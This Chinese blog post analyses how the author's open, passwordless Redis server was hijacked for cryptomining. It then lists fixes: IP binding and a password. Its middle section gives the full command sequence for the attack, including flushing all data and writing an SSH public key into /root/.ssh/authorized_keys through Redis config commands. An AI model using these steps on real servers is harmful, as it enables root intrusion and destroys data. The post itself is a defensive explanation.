不安全的redis设置,redis被攻击分析

为什么不安全。

之前为了使用redis,没有去管那些细节问题,就直接在阿里云的centos上直接编译安装了一个redis,没有做任何配置的修改,就改了一下可以后台启动和远程连接。就这样直接赤裸裸的暴露在公网下。所以带来的问题是,某天发现centos cpu占用一直99%,杀掉后又快速启动起来,被挖矿了。百度一番,是redis带来的问题。总结分析了一下。

大概原理分析:

1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。

2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。

3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。

攻击实战

被攻击者机器:默认配置安装redis,可以远程无密码访问。

在攻击者机器上:
1.在本机生成公钥,把公钥保存到文件中

cd /root

ssh-key-gen -t rsa

cat /root/.ssh/id_rsa.pub > aaa.pub 

cat aaa.pub

2.登录到redis,fluahall掉所有数据。

./redis-cli -h xxx.xxx.xxx.xxx

ping

flushall

3.将键aaa的值设置为公钥的值

cat /root/aaa.pub | ./redis-cli -h xxx.xx.xx.xxx -p 6379 -x set aaa

4.继续修改redis的配置,登录到redis

config set dir /root/.ssh

config set dbfilename authorized_keys

save

5.此时,攻击者就可以远程登录到被攻击者的机器上了。为所欲为。

原理就是利用redis的rdb持久化机制的漏洞,把ssh公钥设置到redis,然后利用持久化,动态修改redis的持久化文件的目录和名字,篡改了ssh的秘钥。然后就可以远程登录。

安全防护配置

解决办法一:采用绑定ip的方式来控制访问。
具体做法是,修改掉redis.conf的#bind 127.0.0.1,修改为允许访问的ip

解决办法二:采用密码的方式。
具体做法是,修改redis.conf下的requirepass yourpassword,设置登录密码。
在登录的时候使用密码登录,auth yourpassword。

此外,正在运行的redis也可以设置密码
config set requirepass yourPassword
,redis的密码可设置的复杂一些,不用担心忘记,都明文的写在配置文件里的。

你可能感兴趣的:(不安全的redis设置,redis被攻击分析)